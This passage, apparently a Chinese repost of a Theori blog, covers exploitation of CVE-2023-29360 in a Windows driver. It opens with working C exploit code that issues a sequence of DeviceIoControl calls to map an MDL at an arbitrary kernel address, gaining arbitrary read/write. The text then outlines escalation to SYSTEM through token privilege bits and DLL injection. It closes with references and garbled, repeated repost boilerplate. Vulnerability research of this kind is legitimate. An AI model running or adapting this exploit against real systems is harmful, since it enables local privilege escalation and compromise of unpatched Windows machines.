hDeviceClient = CreateFile(  DeviceLink,  GENERIC_READ | GENERIC_WRITE,  0,  NULL,  OPEN_EXISTING,  0x80,  NULL); PCHAR inputBuffer = (PCHAR)malloc(inputsize);PCHAR outputBuffer = (PCHAR)malloc(outputsize); printf("[+] Initialize Rendezvousn");memset(inputBuffer, 0, inputsize);*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO*(DWORD64*)(inputBuffer + 0x18) = 0; // 0ntstatus = DeviceIoControl(hDeviceClient, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous printf("[+] Initialize Streamn");memset(inputBuffer, 0, inputsize);*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLEntstatus = DeviceIoControl(hDeviceClient, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream // Create Server HandlehDeviceServer = CreateFile(  DeviceLink,  GENERIC_READ | GENERIC_WRITE,  0,  NULL,  OPEN_EXISTING,  0x80,  NULL); printf("[+] Register Streamn");memset(inputBuffer, 0, inputsize);*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &2 == Non ZERO*(DWORD64*)(inputBuffer + 0x8) = GetCurrentProcessId();*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, 0, 0, NULL); // NON ZERO// Register Stream to Server Handlentstatus = DeviceIoControl(hDeviceServer, 0x2F0420, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // RegisterStream  ULONG_PTR targetaddr = TARGET_ADDRESS;printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %pn", targetaddr);memset(inputBuffer, 0, inputsize);*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt *(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt *(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // flag : (BYTE)(1,4,8)ntstatus = DeviceIoControl(hDeviceClient, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx  printf("[+] ComsumeTx, Mapping MDL ==> Arbitrary R/Wn");memset(inputBuffer, 0, inputsize);memset(outputBuffer, 0, outputsize);*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt *(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt *(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE*(DWORD64*)(inputBuffer + 0x60) = (DWORD64)targetaddr; // Addr*(DWORD*)(inputBuffer + 0x6C) = 0x1000; // SIZE*(DWORD64*)(inputBuffer + 0x70) = 0xffffffff00000008; // 1,4,8ntstatus = DeviceIoControl(hDeviceClient, 0x2F0410, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // ComsumeTx DWORD64 mapaddr = *(DWORD64*)(outputBuffer + 0x48); printf("[*] mapaddr : %pn", mapaddr);

从这里,我们可以使用任何首选方法,使用给定的任意读/写原语来提升权限。

在我们的N-day完整链中,我们在 token 对象中启用特权位,并将恶意 dll 注入 SYSTEM 特权进程以获取代码执行。(有关此技术,您可以参考 Easy Local Windows Kernel Exploitation: Enableing privilege — BlackHat 2012。

结论

这篇文章提供了对 CVE-2023–29360 的分析,该分析在我们为期N-day的全链演示中被利用。下一篇文章将介绍 CVE-2023–34044,这是 Theori( @pr0ln) 发现的 VMware 信息泄漏,它是 CVE-2023–20870 的变体。

参考

  • https://github.com/Nero22k/cve-2023-29360

  • https://big5-sec.github.io/posts/CVE-2023-29360-analysis/

  • https://bsodtutorials.blogspot.com/2013/12/understanding-mdls-memory-descriptor.html

  • https://shhoya.github.io/windows_MDL.html

  • https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf


Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to Systemhttps://blog.theori.io/chaining-n-days-to-compromise-all-part-3-windows-driver-lpe-medium-to-system-12f7821d97bb



感谢您抽出

将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

.

将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

.

将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

来阅读本文

将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):将N-day 漏洞链接以妥协所有内容:第 3 部分 — Windows 驱动程序 LPE:中型到系统

相关文章